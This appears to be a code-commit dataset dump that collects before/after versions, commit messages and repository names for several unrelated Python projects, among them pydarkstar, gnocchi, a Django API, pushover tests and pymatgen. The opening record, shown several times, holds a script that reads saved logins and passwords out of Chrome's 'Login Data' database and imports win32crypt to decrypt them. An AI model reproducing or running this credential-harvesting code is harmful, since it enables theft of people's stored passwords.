cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | <commit_before>from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information ... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | <commit_before>from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information ... |
91ee7fe40d345b71a39d4c07ecbdf23eb144f902 | pydarkstar/auction/auctionbase.py | pydarkstar/auction/auctionbase.py | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwargs):
sup... | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, rollback=True, fail=False, *a... | Add AuctionBase fail and rollback properties. | Add AuctionBase fail and rollback properties.
| Python | mit | AdamGagorik/pydarkstar,LegionXI/pydarkstar | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwargs):
sup... | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, rollback=True, fail=False, *a... | <commit_before>"""
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwarg... | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, rollback=True, fail=False, *a... | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwargs):
sup... | <commit_before>"""
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwarg... |
855ace33e02f3ea40b6fe1c2a8de25daa38726e0 | gnocchi/service.py | gnocchi/service.py | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | Set project name when parsing configuration | Set project name when parsing configuration
Change-Id: Ib66df49855be1577688bc66cf7c0ada4486ff198
| Python | apache-2.0 | idegtiarov/gnocchi-rep,idegtiarov/gnocchi-rep,leandroreox/gnocchi,leandroreox/gnocchi,idegtiarov/gnocchi-rep,gnocchixyz/gnocchi,sileht/gnocchi,gnocchixyz/gnocchi,sileht/gnocchi | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | <commit_before># Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | <commit_before># Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
d95b64ded1cdb67bf80d5dae23cb6f7a31d43d03 | api/urls.py | api/urls.py | from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/', include('rest... | from rest_framework import routers
from django.conf import settings
from django.urls import include, path, re_path
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
path("", include(router.urls)),
# path('api-auth/', include('... | Convert a few more `url`s to `path`s | Convert a few more `url`s to `path`s
| Python | mit | springload/madewithwagtail,springload/madewithwagtail,springload/madewithwagtail,springload/madewithwagtail | from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/', include('rest... | from rest_framework import routers
from django.conf import settings
from django.urls import include, path, re_path
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
path("", include(router.urls)),
# path('api-auth/', include('... | <commit_before>from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/'... | from rest_framework import routers
from django.conf import settings
from django.urls import include, path, re_path
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
path("", include(router.urls)),
# path('api-auth/', include('... | from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/', include('rest... | <commit_before>from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/'... |
5195a9baae1a87632c55adf390ecc5f32d1a44cb | dict_to_file.py | dict_to_file.py | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | Fix latex output for splitted up/down values | Fix latex output for splitted up/down values
| Python | mit | knutzk/parse_latex_table | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | <commit_before>#!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write("... | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# ... | <commit_before>#!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write("... |
e81cf35231e77d64f619169fc0625c0ae7d0edc8 | AWSLambdas/vote.py | AWSLambdas/vote.py | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in event['Records']:
... | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
ratings = dict()
for record... | Determine rating dispositions noted by the data changes and store them in a dictionary with the sample identification as the key. | Determine rating dispositions noted by the data changes and store them in a dictionary with the sample identification as the key.
| Python | mit | SandcastleApps/partyup,SandcastleApps/partyup,SandcastleApps/partyup | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in event['Records']:
... | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
ratings = dict()
for record... | <commit_before>"""
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in eve... | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
ratings = dict()
for record... | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in event['Records']:
... | <commit_before>"""
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in eve... |
a4f1fa704692894bcd568d02b23595e11910f791 | apps/searchv2/tests/test_utils.py | apps/searchv2/tests/test_utils.py | from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django_me"]
f... | from datetime import datetime
from django.conf import settings
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def setUp(self):
self.values = []
for value in ["-me",".me",... | Fix to make site packages more generic in tests | Fix to make site packages more generic in tests
| Python | mit | pydanny/djangopackages,audreyr/opencomparison,miketheman/opencomparison,nanuxbe/djangopackages,pydanny/djangopackages,QLGu/djangopackages,pydanny/djangopackages,miketheman/opencomparison,audreyr/opencomparison,benracine/opencomparison,nanuxbe/djangopackages,benracine/opencomparison,QLGu/djangopackages,nanuxbe/djangopac... | from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django_me"]
f... | from datetime import datetime
from django.conf import settings
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def setUp(self):
self.values = []
for value in ["-me",".me",... | <commit_before>from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django... | from datetime import datetime
from django.conf import settings
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def setUp(self):
self.values = []
for value in ["-me",".me",... | from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django_me"]
f... | <commit_before>from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django... |
cf4945e86de8f8365745afa3c3064dc093d25df8 | hunter/assigner.py | hunter/assigner.py | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | Improve names to reduce line size | Improve names to reduce line size
| Python | mit | anapaulagomes/reviews-assigner | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | <commit_before>from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projec... | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languag... | <commit_before>from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projec... |
16ffb59ea744a95c7420fd8f4212d0c9a414f314 | tests/constants.py | tests/constants.py | TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
| TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
| Switch to using Pushover's example tokens and such | Switch to using Pushover's example tokens and such
| Python | mit | scolby33/pushover_complete | TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
Switch to using Pushover's example tokens and such | TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
| <commit_before>TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
<commit_msg>Switch to using Pushover's example tokens and such<commit_after> | TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
| TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
Switch to using Pushover's example tokens and suchTEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
| <commit_before>TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
<commit_msg>Switch to using Pushover's example tokens and such<commit_after>TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
|
e105b44e4c07b43c36290a8f5d703f4ff0b26953 | sqlshare_rest/util/query_queue.py | sqlshare_rest/util/query_queue.py | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | Remove a print statement that was dumb and breaking python3 | Remove a print statement that was dumb and breaking python3
| Python | apache-2.0 | uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | <commit_before>from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
re... | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backe... | <commit_before>from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
re... |
78df776f31e5a23213b7f9d162a71954a667950a | opps/views/tests/__init__.py | opps/views/tests/__init__.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
| Add test_generic_list on tests views | Add test_generic_list on tests views
| Python | mit | williamroot/opps,opps/opps,jeanmask/opps,opps/opps,YACOWS/opps,williamroot/opps,opps/opps,YACOWS/opps,jeanmask/opps,williamroot/opps,opps/opps,YACOWS/opps,jeanmask/opps,jeanmask/opps,williamroot/opps,YACOWS/opps | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
Add test_generic_list on tests views | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
| <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
<commit_msg>Add test_generic_list on tests views<commit_after> | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
Add test_generic_list on tests views#!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
| <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
<commit_msg>Add test_generic_list on tests views<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
|
9bf442c90b920b9cf24936c47bc1fe398413e7f0 | tests/test_load.py | tests/test_load.py | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_commend(self):
... | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_comment(self):
... | Fix typo in test name | Fix typo in test name
| Python | mit | funkybob/knights-templater,funkybob/knights-templater | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_commend(self):
... | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_comment(self):
... | <commit_before>from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_c... | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_comment(self):
... | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_commend(self):
... | <commit_before>from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_c... |
76b40a801b69023f5983dcfa4ecd5e904792f131 | paypal/standard/pdt/forms.py | paypal/standard/pdt/forms.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | Add non-PayPal fields to exclude | Add non-PayPal fields to exclude
All the non-paypal fields are blanked if you don't exclude them from the form.
| Python | mit | spookylukey/django-paypal,rsalmaso/django-paypal,spookylukey/django-paypal,rsalmaso/django-paypal,rsalmaso/django-paypal,GamesDoneQuick/django-paypal,spookylukey/django-paypal,GamesDoneQuick/django-paypal | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSI... | <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
... |
9260ae587c46f32047dbcfbe1610290282fcdf8c | pymatgen/util/__init__.py | pymatgen/util/__init__.py | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | Fix spelling in coord_utils import. | Fix spelling in coord_utils import.
Former-commit-id: 03182f09c5e7cc2d7a5ca8b996baa82e4557e7fa [formerly 4011394beda266f4f43120e951b99bdc0470f93e]
Former-commit-id: 78985fde51ef15145a5ff42d8bd9fe05a8890b22 | Python | mit | gpetretto/pymatgen,ndardenne/pymatgen,vorwerkc/pymatgen,xhqu1981/pymatgen,czhengsci/pymatgen,gpetretto/pymatgen,aykol/pymatgen,dongsenfo/pymatgen,blondegeek/pymatgen,gpetretto/pymatgen,mbkumar/pymatgen,richardtran415/pymatgen,gVallverdu/pymatgen,nisse3000/pymatgen,nisse3000/pymatgen,gVallverdu/pymatgen,matk86/pymatgen,... | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
